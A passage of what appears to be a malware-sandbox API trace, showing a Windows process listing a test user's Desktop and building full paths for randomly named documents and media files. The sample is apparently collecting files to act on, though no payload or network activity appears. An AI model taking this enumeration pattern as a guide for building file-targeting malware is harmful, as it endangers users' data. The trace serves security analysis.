lpString1="c:\\Users\\aETAdzjz\\Desktop\\0Mck7qEx.odt") returned="c:\\Users\\aETAdzjz\\Desktop\\0Mck7qEx.odt" [0121.635] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.635] lstrcmpW (lpString1="1rDOjKAp4RUDMzLTH8Wj.mp3", lpString2=".") returned 1 [0121.635] lstrcmpW (lpString1="1rDOjKAp4RUDMzLTH8Wj.mp3", lpString2="..") returned 1 [0121.635] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0121.635] lstrlenW (lpString="1rDOjKAp4RUDMzLTH8Wj.mp3") returned 24 [0121.635] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="1rDOjKAp4RUDMzLTH8Wj.mp3" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\1rDOjKAp4RUDMzLTH8Wj.mp3") returned="c:\\Users\\aETAdzjz\\Desktop\\1rDOjKAp4RUDMzLTH8Wj.mp3" [0121.635] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\1rDOjKAp4RUDMzLTH8Wj.mp3") returned 50 [0121.635] lstrcpyW (in: lpString1=0x24a4fe0, lpString2="c:\\Users\\aETAdzjz\\Desktop\\1rDOjKAp4RUDMzLTH8Wj.mp3" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\1rDOjKAp4RUDMzLTH8Wj.mp3") returned="c:\\Users\\aETAdzjz\\Desktop\\1rDOjKAp4RUDMzLTH8Wj.mp3" [0121.635] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.635] lstrcmpW (lpString1="3YE3z0kK77cT F.wav", lpString2=".") returned 1 [0121.635] lstrcmpW (lpString1="3YE3z0kK77cT F.wav", lpString2="..") returned 1 [0121.635] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0121.635] lstrlenW (lpString="3YE3z0kK77cT F.wav") returned 18 [0121.635] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="3YE3z0kK77cT F.wav" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\3YE3z0kK77cT F.wav") returned="c:\\Users\\aETAdzjz\\Desktop\\3YE3z0kK77cT F.wav" [0121.635] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\3YE3z0kK77cT F.wav") returned 44 [0121.635] lstrcpyW (in: lpString1=0x24aaaf0, lpString2="c:\\Users\\aETAdzjz\\Desktop\\3YE3z0kK77cT F.wav" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\3YE3z0kK77cT F.wav") returned="c:\\Users\\aETAdzjz\\Desktop\\3YE3z0kK77cT F.wav" [0121.635] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.635] lstrcmpW (lpString1="46PXdLLe2Bx.wav", lpString2=".") returned 1 [0121.635] lstrcmpW (lpString1="46PXdLLe2Bx.wav", lpString2="..") returned 1 [0121.635] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0121.635] lstrlenW (lpString="46PXdLLe2Bx.wav") returned 15 [0121.635] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="46PXdLLe2Bx.wav" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\46PXdLLe2Bx.wav") returned="c:\\Users\\aETAdzjz\\Desktop\\46PXdLLe2Bx.wav" [0121.635] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\46PXdLLe2Bx.wav") returned 41 [0121.635] lstrcpyW (in: lpString1=0x24aab58, lpString2="c:\\Users\\aETAdzjz\\Desktop\\46PXdLLe2Bx.wav" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\46PXdLLe2Bx.wav") returned="c:\\Users\\aETAdzjz\\Desktop\\46PXdLLe2Bx.wav" [0121.636] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.636] lstrcmpW (lpString1="4_0E8edvE.flv", lpString2=".") returned 1 [0121.636] lstrcmpW (lpString1="4_0E8edvE.flv", lpString2="..") returned 1 [0121.636] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0121.636] lstrlenW (lpString="4_0E8edvE.flv") returned 13 [0121.636] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="4_0E8edvE.flv" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\4_0E8edvE.flv") returned="c:\\Users\\aETAdzjz\\Desktop\\4_0E8edvE.flv" [0121.636] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\4_0E8edvE.flv") returned 39 [0121.636] lstrcpyW (in: lpString1=0x24aabb8, lpString2="c:\\Users\\aETAdzjz\\Desktop\\4_0E8edvE.flv" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\4_0E8edvE.flv") returned="c:\\Users\\aETAdzjz\\Desktop\\4_0E8edvE.flv" [0121.636] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.636] lstrcmpW (lpString1="8wGZy1b.png", lpString2=".") returned 1 [0121.636] lstrcmpW (lpString1="8wGZy1b.png", lpString2="..") returned 1 [0121.636] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0121.636] lstrlenW (lpString="8wGZy1b.png") returned 11 [0121.636] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="8wGZy1b.png" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\8wGZy1b.png") returned="c:\\Users\\aETAdzjz\\Desktop\\8wGZy1b.png" [0121.636] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\8wGZy1b.png") returned 37 [0121.636] lstrcpyW (in: lpString1=0x24aac10, lpString2="c:\\Users\\aETAdzjz\\Desktop\\8wGZy1b.png" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\8wGZy1b.png") returned="c:\\Users\\aETAdzjz\\Desktop\\8wGZy1b.png" [0121.636] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.636] lstrcmpW (lpString1="B4Z1rPYdjgTF8anQ.avi", lpString2=".") returned 1 [0121.636] lstrcmpW (lpString1="B4Z1rPYdjgTF8anQ.avi", lpString2="..") returned 1 [0121.636] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0121.636] lstrlenW (lpString="B4Z1rPYdjgTF8anQ.avi") returned 20 [0121.636] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="B4Z1rPYdjgTF8anQ.avi" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\B4Z1rPYdjgTF8anQ.avi") returned="c:\\Users\\aETAdzjz\\Desktop\\B4Z1rPYdjgTF8anQ.avi" [0121.636] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\B4Z1rPYdjgTF8anQ.avi") returned 46 [0121.636] lstrcpyW (in: lpString1=0x24aac68, lpString2="c:\\Users\\aETAdzjz\\Desktop\\B4Z1rPYdjgTF8anQ.avi" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\B4Z1rPYdjgTF8anQ.avi") returned="c:\\Users\\aETAdzjz\\Desktop\\B4Z1rPYdjgTF8anQ.avi" [0121.636] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.636] lstrcmpW (lpString1="BFKe0nWJ-uX glTw7h99.wav", lpString2=".") returned 1 [0121.636] lstrcmpW (lpString1="BFKe0nWJ-uX glTw7h99.wav", lpString2="..") returned 1 [0121.636] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0121.636] lstrlenW (lpString="BFKe0nWJ-uX glTw7h99.wav") returned 24 [0121.636] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="BFKe0nWJ-uX glTw7h99.wav" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\BFKe0nWJ-uX glTw7h99.wav") returned="c:\\Users\\aETAdzjz\\Desktop\\BFKe0nWJ-uX glTw7h99.wav" [0121.636] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\BFKe0nWJ-uX glTw7h99.wav") returned 50 [0121.636] lstrcpyW (in: lpString1=0x24a5050, lpString2="c:\\Users\\aETAdzjz\\Desktop\\BFKe0nWJ-uX glTw7h99.wav" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\BFKe0nWJ-uX glTw7h99.wav") returned="c:\\Users\\aETAdzjz\\Desktop\\BFKe0nWJ-uX glTw7h99.wav" [0121.636] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.636] lstrcmpW (lpString1="C9uT6lYTwIA.xlsx", lpString2=".") returned 1 [0121.636] lstrcmpW (lpString1="C9uT6lYTwIA.xlsx", lpString2="..") returned 1 [0121.636] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0121.636] lstrlenW (lpString="C9uT6lYTwIA.xlsx") returned 16 [0121.636] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="C9uT6lYTwIA.xlsx" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\C9uT6lYTwIA.xlsx") returned="c:\\Users\\aETAdzjz\\Desktop\\C9uT6lYTwIA.xlsx" [0121.636] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\C9uT6lYTwIA.xlsx") returned 42 [0121.636] lstrcpyW (in: lpString1=0x24aacd0, lpString2="c:\\Users\\aETAdzjz\\Desktop\\C9uT6lYTwIA.xlsx" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\C9uT6lYTwIA.xlsx") returned="c:\\Users\\aETAdzjz\\Desktop\\C9uT6lYTwIA.xlsx" [0121.636] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.636] lstrcmpW (lpString1="cISVwXWmuvNvNDM.jpg", lpString2=".") returned 1 [0121.636] lstrcmpW (lpString1="cISVwXWmuvNvNDM.jpg", lpString2="..") returned 1 [0121.636] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0121.636] lstrlenW (lpString="cISVwXWmuvNvNDM.jpg") returned 19 [0121.636] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="cISVwXWmuvNvNDM.jpg" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\cISVwXWmuvNvNDM.jpg") returned="c:\\Users\\aETAdzjz\\Desktop\\cISVwXWmuvNvNDM.jpg" [0121.636] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\cISVwXWmuvNvNDM.jpg") returned 45 [0121.636] lstrcpyW (in: lpString1=0x24aad30, lpString2="c:\\Users\\aETAdzjz\\Desktop\\cISVwXWmuvNvNDM.jpg" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\cISVwXWmuvNvNDM.jpg") returned="c:\\Users\\aETAdzjz\\Desktop\\cISVwXWmuvNvNDM.jpg" [0121.637] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.637] lstrcmpW (lpString1="cp16RO_.mp4", lpString2=".") returned 1 [0121.637] lstrcmpW (lpString1="cp16RO_.mp4", lpString2="..") returned 1 [0121.637] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0121.637] lstrlenW (lpString="cp16RO_.mp4") returned 11 [0121.637] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="cp16RO_.mp4" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\cp16RO_.mp4") returned="c:\\Users\\aETAdzjz\\Desktop\\cp16RO_.mp4" [0121.637] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\cp16RO_.mp4") returned 37 [0121.637] lstrcpyW (in: lpString1=0x24aad98, lpString2="c:\\Users\\aETAdzjz\\Desktop\\cp16RO_.mp4" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\cp16RO_.mp4") returned="c:\\Users\\aETAdzjz\\Desktop\\cp16RO_.mp4" [0121.637] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.637] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0121.637] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0121.637] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0121.637] lstrlenW (lpString="desktop.ini") returned 11 [0121.637] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="desktop.ini" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\desktop.ini") returned="c:\\Users\\aETAdzjz\\Desktop\\desktop.ini" [0121.637] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\desktop.ini") returned 37 [0121.637] lstrcpyW (in: lpString1=0x24aadf0, lpString2="c:\\Users\\aETAdzjz\\Desktop\\desktop.ini" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\desktop.ini") returned="c:\\Users\\aETAdzjz\\Desktop\\desktop.ini" [0121.637] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.637] lstrcmpW (lpString1="DMWUzQLjb06L.flv", lpString2=".") returned 1 [0121.637] lstrcmpW (lpString1="DMWUzQLjb06L.flv", lpString2="..") returned 1 [0121.637] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0121.637] lstrlenW (lpString="DMWUzQLjb06L.flv") returned 16 [0121.637] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="DMWUzQLjb06L.flv" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\DMWUzQLjb06L.flv") returned="c:\\Users\\aETAdzjz\\Desktop\\DMWUzQLjb06L.flv" [0121.637] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\DMWUzQLjb06L.flv") returned 42 [0121.637] lstrcpyW (in: lpString1=0x24aae48, lpString2="c:\\Users\\aETAdzjz\\Desktop\\DMWUzQLjb06L.flv" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\DMWUzQLjb06L.flv") returned="c:\\Users\\aETAdzjz\\Desktop\\DMWUzQLjb06L.flv" [0121.637] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.637] lstrcmpW (lpString1="fcG74r-hLZX8KpasEjR.xls", lpString2=".") returned 1 [0121.637] lstrcmpW (lpString1="fcG74r-hLZX8KpasEjR.xls", lpString2="..") returned 1 [0121.637] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0121.637] lstrlenW (lpString="fcG74r-hLZX8KpasEjR.xls") returned 23 [0121.637] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="fcG74r-hLZX8KpasEjR.xls" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\fcG74r-hLZX8KpasEjR.xls") returned="c:\\Users\\aETAdzjz\\Desktop\\fcG74r-hLZX8KpasEjR.xls" [0121.637] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\fcG74r-hLZX8KpasEjR.xls") returned 49 [0121.637] lstrcpyW (in: lpString1=0x24a50c0, lpString2="c:\\Users\\aETAdzjz\\Desktop\\fcG74r-hLZX8KpasEjR.xls" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\fcG74r-hLZX8KpasEjR.xls") returned="c:\\Users\\aETAdzjz\\Desktop\\fcG74r-hLZX8KpasEjR.xls" [0121.637] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.637] lstrcmpW (lpString1="fEub.wav", lpString2=".") returned 1 [0121.637] lstrcmpW (lpString1="fEub.wav", lpString2="..") returned 1 [0121.637] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0121.637] lstrlenW (lpString="fEub.wav") returned 8 [0121.637] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="fEub.wav" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\fEub.wav") returned="c:\\Users\\aETAdzjz\\Desktop\\fEub.wav" [0121.637] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\fEub.wav") returned 34 [0121.637] lstrcpyW (in: lpString1=0x24aaea8, lpString2="c:\\Users\\aETAdzjz\\Desktop\\fEub.wav" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\fEub.wav") returned="c:\\Users\\aETAdzjz\\Desktop\\fEub.wav" [0121.637] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.637] lstrcmpW (lpString1="fIE0hH.mp3", lpString2=".") returned 1 [0121.637] lstrcmpW (lpString1="fIE0hH.mp3", lpString2="..") returned 1 [0121.637] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0121.637] lstrlenW (lpString="fIE0hH.mp3") returned 10 [0121.637] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="fIE0hH.mp3" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\fIE0hH.mp3") returned="c:\\Users\\aETAdzjz\\Desktop\\fIE0hH.mp3" [0121.637] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\fIE0hH.mp3") returned 36 [0121.637] lstrcpyW (in: lpString1=0x24aaef8, lpString2="c:\\Users\\aETAdzjz\\Desktop\\fIE0hH.mp3" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\fIE0hH.mp3") returned="c:\\Users\\aETAdzjz\\Desktop\\fIE0hH.mp3" [0121.638] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.638] lstrcmpW (lpString1="Fl_cD2j6qBLGAZWA2SQL.odp", lpString2=".") returned 1 [0121.638] lstrcmpW (lpString1="Fl_cD2j6qBLGAZWA2SQL.odp", lpString2="..") returned 1 [0121.638] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0121.638] lstrlenW (lpString="Fl_cD2j6qBLGAZWA2SQL.odp") returned 24 [0121.638] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="Fl_cD2j6qBLGAZWA2SQL.odp" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\Fl_cD2j6qBLGAZWA2SQL.odp") returned="c:\\Users\\aETAdzjz\\Desktop\\Fl_cD2j6qBLGAZWA2SQL.odp" [0121.638] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\Fl_cD2j6qBLGAZWA2SQL.odp") returned 50 [0121.638] lstrcpyW (in: lpString1=0x24a5130, lpString2="c:\\Users\\aETAdzjz\\Desktop\\Fl_cD2j6qBLGAZWA2SQL.odp" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\Fl_cD2j6qBLGAZWA2SQL.odp") returned="c:\\Users\\aETAdzjz\\Desktop\\Fl_cD2j6qBLGAZWA2SQL.odp" [0121.638] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.638] lstrcmpW (lpString1="GSiecs ARL59i.pps", lpString2=".") returned 1 [0121.638] lstrcmpW (lpString1="GSiecs ARL59i.pps", lpString2="..") returned 1 [0121.638] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0121.638] lstrlenW (lpString="GSiecs ARL59i.pps") returned 17 [0121.638] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="GSiecs ARL59i.pps" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\GSiecs ARL59i.pps") returned="c:\\Users\\aETAdzjz\\Desktop\\GSiecs ARL59i.pps" [0121.638] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\GSiecs ARL59i.pps") returned 43 [0121.638] lstrcpyW (in: lpString1=0x24aaf50, lpString2="c:\\Users\\aETAdzjz\\Desktop\\GSiecs ARL59i.pps" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\GSiecs ARL59i.pps") returned="c:\\Users\\aETAdzjz\\Desktop\\GSiecs ARL59i.pps" [0121.638] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.638] lstrcmpW (lpString1="gt_ueLv0.rtf", lpString2=".") returned 1 [0121.638] lstrcmpW (lpString1="gt_ueLv0.rtf", lpString2="..") returned 1 [0121.638] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0121.638] lstrlenW (lpString="gt_ueLv0.rtf") returned 12 [0121.638] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="gt_ueLv0.rtf" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\gt_ueLv0.rtf") returned="c:\\Users\\aETAdzjz\\Desktop\\gt_ueLv0.rtf" [0121.638] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\gt_ueLv0.rtf") returned 38 [0121.638] lstrcpyW (in: lpString1=0x24aafb0, lpString2="c:\\Users\\aETAdzjz\\Desktop\\gt_ueLv0.rtf" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\gt_ueLv0.rtf") returned="c:\\Users\\aETAdzjz\\Desktop\\gt_ueLv0.rtf" [0121.638] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.638] lstrcmpW (lpString1="i92xqrOtuyGPP.png", lpString2=".") returned 1 [0121.638] lstrcmpW (lpString1="i92xqrOtuyGPP.png", lpString2="..") returned 1 [0121.638] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0121.638] lstrlenW (lpString="i92xqrOtuyGPP.png") returned 17 [0121.638] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="i92xqrOtuyGPP.png" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\i92xqrOtuyGPP.png") returned="c:\\Users\\aETAdzjz\\Desktop\\i92xqrOtuyGPP.png" [0121.638] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\i92xqrOtuyGPP.png") returned 43 [0121.638] lstrcpyW (in: lpString1=0x24ab008, lpString2="c:\\Users\\aETAdzjz\\Desktop\\i92xqrOtuyGPP.png" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\i92xqrOtuyGPP.png") returned="c:\\Users\\aETAdzjz\\Desktop\\i92xqrOtuyGPP.png" [0121.638] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.638] lstrcmpW (lpString1="ihknzkjo.doc", lpString2=".") returned 1 [0121.638] lstrcmpW (lpString1="ihknzkjo.doc", lpString2="..") returned 1 [0121.638] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0121.638] lstrlenW (lpString="ihknzkjo.doc") returned 12 [0121.638] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="ihknzkjo.doc" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc") returned="c:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc" [0121.638] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc") returned 38 [0121.638] lstrcpyW (in: lpString1=0x24ab068, lpString2="c:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc") returned="c:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc" [0121.638] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.638] lstrcmpW (lpString1="Iq3XvyyaEWO13.mp3", lpString2=".") returned 1 [0121.638] lstrcmpW (lpString1="Iq3XvyyaEWO13.mp3", lpString2="..") returned 1 [0121.638] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0121.638] lstrlenW (lpString="Iq3XvyyaEWO13.mp3") returned 17 [0121.638] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="Iq3XvyyaEWO13.mp3" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\Iq3XvyyaEWO13.mp3") returned="c:\\Users\\aETAdzjz\\Desktop\\Iq3XvyyaEWO13.mp3" [0121.638] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\Iq3XvyyaEWO13.mp3") returned 43 [0121.638] lstrcpyW (in: lpString1=0x24ab0c0, lpString2="c:\\Users\\aETAdzjz\\Desktop\\Iq3XvyyaEWO13.mp3" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\Iq3XvyyaEWO13.mp3") returned="c:\\Users\\aETAdzjz\\Desktop\\Iq3XvyyaEWO13.mp3" [0121.638] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.639] lstrcmpW (lpString1="j6DZIy9vQbux5.ppt", lpString2=".") returned 1 [0121.639] lstrcmpW (lpString1="j6DZIy9vQbux5.ppt", lpString2="..") returned 1 [0121.639] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0121.639] lstrlenW (lpString="j6DZIy9vQbux5.ppt") returned 17 [0121.639] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="j6DZIy9vQbux5.ppt" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\j6DZIy9vQbux5.ppt") returned="c:\\Users\\aETAdzjz\\Desktop\\j6DZIy9vQbux5.ppt" [0121.639] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\j6DZIy9vQbux5.ppt") returned 43 [0121.639] lstrcpyW (in: lpString1=0x24ab120, lpString2="c:\\Users\\aETAdzjz\\Desktop\\j6DZIy9vQbux5.ppt" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\j6DZIy9vQbux5.ppt") returned="c:\\Users\\aETAdzjz\\Desktop\\j6DZIy9vQbux5.ppt" [0121.639] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.639] lstrcmpW (lpString1="KhpA.jpg", lpString2=".") returned 1 [0121.639] lstrcmpW (lpString1="KhpA.jpg", lpString2="..") returned 1 [0121.639] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0121.639] lstrlenW (lpString="KhpA.jpg") returned 8 [0121.639] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="KhpA.jpg" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\KhpA.jpg") returned="c:\\Users\\aETAdzjz\\Desktop\\KhpA.jpg" [0121.639] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\KhpA.jpg") returned 34 [0121.639] lstrcpyW (in: lpString1=0x24ab180, lpString2="c:\\Users\\aETAdzjz\\Desktop\\KhpA.jpg" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\KhpA.jpg") returned="c:\\Users\\aETAdzjz\\Desktop\\KhpA.jpg" [0121.639] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.639] lstrcmpW (lpString1="kiam-z8FT.png", lpString2=".") returned 1 [0121.639] lstrcmpW (lpString1="kiam-z8FT.png", lpString2="..") returned 1 [0121.639] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0121.639] lstrlenW (lpString="kiam-z8FT.png") returned 13 [0121.639] lstrcatW (in: lpString1="c:\\Users\\aETAdzjz\\Desktop\\", lpString2="kiam-z8FT.png" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\kiam-z8FT.png") returned="c:\\Users\\aETAdzjz\\Desktop\\kiam-z8FT.png" [0121.639] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\kiam-z8FT.png") returned 39 [0121.639] lstrcpyW (in: lpString1=0x24ab1d0, lpString2="c:\\Users\\aETAdzjz\\Desktop\\kiam-z8FT.png" | out: lpString1="c:\\Users\\aETAdzjz\\Desktop\\kiam-z8FT.png") returned="c:\\Users\\aETAdzjz\\Desktop\\kiam-z8FT.png" [0121.639] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.639] lstrcmpW (lpString1="M Py5Nq8", lpString2=".") returned 1 [0121.639] lstrcmpW (lpString1="M Py5Nq8", lpString2="..") returned 1 [0121.639] lstrlenW (lpString="c:\\Users\\aETAdzjz\\Desktop\\") returned 26 [0121.639] lstrlenW (lpString="M Py5Nq8") returned 8 [0121.639] lstrcatW (in: 